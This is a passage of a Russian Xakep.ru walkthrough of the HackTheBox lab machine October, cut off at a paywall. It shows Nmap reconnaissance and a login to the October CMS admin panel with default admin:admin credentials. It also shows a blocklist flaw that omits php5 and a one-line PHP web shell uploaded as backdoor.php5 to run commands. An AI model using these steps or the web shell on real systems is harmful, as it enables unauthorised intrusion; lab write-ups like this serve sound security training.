Содержание статьи
В королевстве PWN
В этом цикле статей мы изучаем разные аспекты атак типа «переполнение стека». Читай также:
Машину для нового прохождения я выбрал не потому, что на дворе октябрь, а в основном за специфику испытаний, которая позволит продолжить тему низкоуровневой эксплуатации, начатую мной в прошлой статье. October — относительно несложная виртуальная машина (уровень Medium — 4,7 балла из 10), однако на ее примере удобнее всего разобрать, что представляет собой атака ret2libc, с помощью которой обходят запрет выполнения данных в стеке (DEP/NX-Bit), и как подбирается адрес той самой стандартной разделяемой библиотеки libc
, чтобы обмануть механизм рандомизации размещения адресного пространства (ASLR).
На общий уровень сложности машины повлияло и то, что в админке CMS, которую предполагалось захватывать, «случайно» оставили дефолтную авторизацию. Поэтому быстро пробежим вступление и более подробно остановимся на этапе эскалации привилегий.
Разведка
Nmap
На этот раз я немного изменю свою стандартную тактику использования Nmap и попробую новый трюк.
root@kali:~# nmap -n -Pn --min-rate=1000 -T4 -p- 10.10.10.16 -vvv | tee ports
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-23 19:01 EDT
Initiating SYN Stealth Scan at 19:01
Scanning 10.10.10.16 [65535 ports]
Discovered open port 22/tcp on 10.10.10.16
Discovered open port 80/tcp on 10.10.10.16
SYN Stealth Scan Timing: About 25.97% done; ETC: 19:03 (0:01:28 remaining)
SYN Stealth Scan Timing: About 60.13% done; ETC: 19:03 (0:00:40 remaining)
Completed SYN Stealth Scan at 19:03, 90.44s elapsed (65535 total ports)
Nmap scan report for 10.10.10.16
Host is up, received user-set (0.081s latency).
Scanned at 2019-09-23 19:01:57 EDT for 90s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 90.52 seconds
Raw packets sent: 131135 (5.770MB) | Rcvd: 69 (3.036KB)
Первым действием я на высокой скорости (опции --min-rate=1000
, -T4
) просканирую весь диапазон портов хоста October. Запросив максимально подробный фидбэк от Nmap (тройным -vvv
), я перенаправлю вывод в файл ports
с помощью команды tee, но в то же время смогу видеть промежуточные результаты и прогресс выполнения до завершения работы сканера.
root@kali:~# ports=$(cat ports | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed 's/,$//')
root@kali:~# echo $ports
22,80
После чего, вооружившись текстовыми процессорами командной строки Linux и мощью регулярных выражений, я вытащу все порты из результата сканирования, сформирую из них строку, в которой номера портов разделены запятой, и присвою ее значение переменной $ports
. Если магия парсинга файла ports
кажется неинтуитивной, попробуй по частям разобрать приведенный однострочник, с каждым разом прибавляя следующий конвейерный оператор и команду, идущую за ним.
root@kali:~# nmap -n -Pn -sV -sC --reason -oA nmap/october -p$ports 10.10.10.16
root@kali:~# cat nmap/october.nmap
# Nmap 7.80 scan initiated Mon Sep 23 19:04:21 2019 as: nmap -n -Pn -sV -sC --reason -oA nmap/october -p22,80 10.10.10.16
Nmap scan report for 10.10.10.16
Host is up, received user-set (0.080s latency).
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 23 19:04:31 2019 -- 1 IP address (1 host up) scanned in 10.19 seconds
Завершающим действием я вызову Nmap с переменной $ports
, где хранится отсортированный список найденных портов, в качестве значения опции -p
. Флаг --reason
служит для того, чтобы сканер мог аргументированно «объяснить», на основании каких данных он сделал тот или иной вывод о статусе доступности каждого порта. Эти доводы можно наблюдать в появившейся колонке REASON
.
Судя по баннеру, который «слил» демон SSH, и дате релиза машины на HTB, это Ubuntu 14.04. Другой очевидной информации нет, поэтому идем проверять, что творится на вебе.
Веб — порт 80
На http://10.10.10.16:80
тебя встретит сервер Apache с October CMS (тема — Vanilla).
Если поискать информацию о том, как попасть в панель админа, то на первой же странице мы найдем заботливый ответ на форуме самой CMS: просто добавь /backend
в адресную строку.
Оказавшись в админке, я, недолго думая, попробовал стандартные admin:admin
.
И вот я уже на пороге панели управления. Вопросив searchsploit об известных уязвимостях October CMS, я нашел способ загрузки веб-шелла. В основе способа — неполный черный список расширений потенциально уязвимых файлов, в котором отсутствовало упоминание о php5
.
106: <?php
107: protected function blockedExtensions()
108: {
109: return [
110: // redacted
111: 'php',
112: 'php3',
113: 'php4',
114: 'phtml',
115: // redacted
116: ];
117: }
На такую возможность намекал и уже лежавший в библиотеке скрипт на PHP 5. Поэтому я нажал Upload и загрузил самый банальный бэкдор, который смог придумать.
root@kali:~# echo '<?php system($_REQUEST["cmd"]); ?>
' > backdoor.php5
Теперь я могу инициировать выполнение команд от имени www-data
, обратившись к загруженному файлу с аргументом cmd
.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»